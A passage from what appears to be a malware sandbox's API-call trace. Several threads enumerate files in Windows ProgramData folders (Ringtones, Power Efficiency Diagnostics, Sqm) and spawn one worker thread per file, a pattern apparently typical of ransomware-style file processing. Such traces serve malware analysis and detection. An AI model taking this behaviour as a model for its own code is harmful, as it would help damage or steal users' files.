lpParameter=0x119240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c [0158.599] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c91380, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9c91380, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x812c9f60, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x4306, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec7f00c288ee8bf2e9.2f9b60", cAlternateFileName="EC7F00~1.2F9")) returned 1 [0158.599] wcscmp (_String1="ec7f00c288ee8bf2e9.2f9b60", _String2=".") returned 1 [0158.599] wcscmp (_String1="ec7f00c288ee8bf2e9.2f9b60", _String2="..") returned 1 [0158.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x202795b0 [0158.600] wcscpy (in: _Dest=0x202795b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0158.600] wcscat (in: _Dest=0x202795b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0158.600] wcscat (in: _Dest=0x202795b0, _Source="ec7f00c288ee8bf2e9.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ec7f00c288ee8bf2e9.2f9b60" [0158.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202795b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190 [0158.600] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20152, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef23d9f58e460ab2.2f9b60", cAlternateFileName="EF23D9~1.2F9")) returned 1 [0158.600] wcscmp (_String1="ef23d9f58e460ab2.2f9b60", _String2=".") returned 1 [0158.600] wcscmp (_String1="ef23d9f58e460ab2.2f9b60", _String2="..") returned 1 [0158.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20278170 [0158.601] wcscpy (in: _Dest=0x20278170, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0158.601] wcscat (in: _Dest=0x20278170, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0158.601] wcscat (in: _Dest=0x20278170, _Source="ef23d9f58e460ab2.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\ef23d9f58e460ab2.2f9b60" [0158.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194 [0158.601] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f8c0ec0, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x20152, dwReserved0=0x0, dwReserved1=0x0, cFileName="ef23d9f58e460ab2.2f9b60", cAlternateFileName="EF23D9~1.2F9")) returned 0 [0158.602] FindClose (in: hFindFile=0x1cd86a90 | out: hFindFile=0x1cd86a90) returned 1 [0158.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0158.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 [0158.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 Thread: id = 2673 os_tid = 0x2230 [0157.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0157.506] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0157.506] wcscat (in: _Dest=0x1b7c2130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0157.506] wcscat (in: _Dest=0x1b7c2130, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*" [0157.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98a90 [0157.506] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0157.508] wcscmp (_String1=".", _String2=".") returned 0 [0157.508] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.508] wcscmp (_String1="..", _String2=".") returned 1 [0157.508] wcscmp (_String1="..", _String2="..") returned 0 [0157.508] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.508] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0157.508] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0157.508] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="RINGTO~3.WMA")) returned 1 [0157.508] wcscmp (_String1="Ringtone 01.wma", _String2=".") returned 1 [0157.508] wcscmp (_String1="Ringtone 01.wma", _String2="..") returned 1 [0157.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86a7d0 [0157.508] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0157.508] wcscat (in: _Dest=0x1b86a7d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0157.508] wcscat (in: _Dest=0x1b86a7d0, _Source="Ringtone 01.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0158.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc [0158.715] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="RI5404~1.WMA")) returned 1 [0158.715] wcscmp (_String1="Ringtone 02.wma", _String2=".") returned 1 [0158.715] wcscmp (_String1="Ringtone 02.wma", _String2="..") returned 1 [0158.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a4800 [0158.716] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.716] wcscat (in: _Dest=0x202a4800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.716] wcscat (in: _Dest=0x202a4800, _Source="Ringtone 02.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0158.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0158.717] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="RI0FCF~1.WMA")) returned 1 [0158.717] wcscmp (_String1="Ringtone 03.wma", _String2=".") returned 1 [0158.717] wcscmp (_String1="Ringtone 03.wma", _String2="..") returned 1 [0158.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5730 [0158.717] wcscpy (in: _Dest=0x202a5730, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.717] wcscat (in: _Dest=0x202a5730, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.717] wcscat (in: _Dest=0x202a5730, _Source="Ringtone 03.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0158.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1280 [0158.718] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="RINGTO~4.WMA")) returned 1 [0158.718] wcscmp (_String1="Ringtone 04.wma", _String2=".") returned 1 [0158.718] wcscmp (_String1="Ringtone 04.wma", _String2="..") returned 1 [0158.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7780 [0158.718] wcscpy (in: _Dest=0x1ceb7780, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.718] wcscat (in: _Dest=0x1ceb7780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.718] wcscat (in: _Dest=0x1ceb7780, _Source="Ringtone 04.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0158.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0158.719] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="RINGTO~1.WMA")) returned 1 [0158.719] wcscmp (_String1="Ringtone 05.wma", _String2=".") returned 1 [0158.719] wcscmp (_String1="Ringtone 05.wma", _String2="..") returned 1 [0158.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7810 [0158.720] wcscpy (in: _Dest=0x1ceb7810, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.720] wcscat (in: _Dest=0x1ceb7810, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.720] wcscat (in: _Dest=0x1ceb7810, _Source="Ringtone 05.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0158.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0158.721] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="RIF0DC~1.WMA")) returned 1 [0158.721] wcscmp (_String1="Ringtone 06.wma", _String2=".") returned 1 [0158.721] wcscmp (_String1="Ringtone 06.wma", _String2="..") returned 1 [0158.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb78a0 [0158.721] wcscpy (in: _Dest=0x1ceb78a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.721] wcscat (in: _Dest=0x1ceb78a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.721] wcscat (in: _Dest=0x1ceb78a0, _Source="Ringtone 06.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0158.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb78a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0158.722] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="RID564~1.WMA")) returned 1 [0158.722] wcscmp (_String1="Ringtone 07.wma", _String2=".") returned 1 [0158.722] wcscmp (_String1="Ringtone 07.wma", _String2="..") returned 1 [0158.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7930 [0158.722] wcscpy (in: _Dest=0x1ceb7930, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.722] wcscat (in: _Dest=0x1ceb7930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.722] wcscat (in: _Dest=0x1ceb7930, _Source="Ringtone 07.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0158.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294 [0158.723] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="RINGTO~2.WMA")) returned 1 [0158.723] wcscmp (_String1="Ringtone 08.wma", _String2=".") returned 1 [0158.723] wcscmp (_String1="Ringtone 08.wma", _String2="..") returned 1 [0158.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb79c0 [0158.724] wcscpy (in: _Dest=0x1ceb79c0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.724] wcscat (in: _Dest=0x1ceb79c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.724] wcscat (in: _Dest=0x1ceb79c0, _Source="Ringtone 08.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0158.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb79c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c [0158.724] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 09.wma", cAlternateFileName="RI70DC~1.WMA")) returned 1 [0158.725] wcscmp (_String1="Ringtone 09.wma", _String2=".") returned 1 [0158.725] wcscmp (_String1="Ringtone 09.wma", _String2="..") returned 1 [0158.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7a50 [0158.725] wcscpy (in: _Dest=0x1ceb7a50, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.725] wcscat (in: _Dest=0x1ceb7a50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.725] wcscat (in: _Dest=0x1ceb7a50, _Source="Ringtone 09.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" [0158.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f8 [0158.726] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 1 [0158.726] wcscmp (_String1="Ringtone 10.wma", _String2=".") returned 1 [0158.726] wcscmp (_String1="Ringtone 10.wma", _String2="..") returned 1 [0158.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ceb7ae0 [0158.726] wcscpy (in: _Dest=0x1ceb7ae0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0158.727] wcscat (in: _Dest=0x1ceb7ae0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0158.727] wcscat (in: _Dest=0x1ceb7ae0, _Source="Ringtone 10.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" [0158.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0158.728] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd98a90 | out: lpFindFileData=0x1cd98a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 10.wma", cAlternateFileName="RI35A2~1.WMA")) returned 0 [0159.521] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0159.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98a90) returned 1 [0159.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0159.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 Thread: id = 2674 os_tid = 0x2234 [0157.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86190 [0157.510] wcscpy (in: _Dest=0x1cd86190, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0157.510] wcscat (in: _Dest=0x1cd86190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All 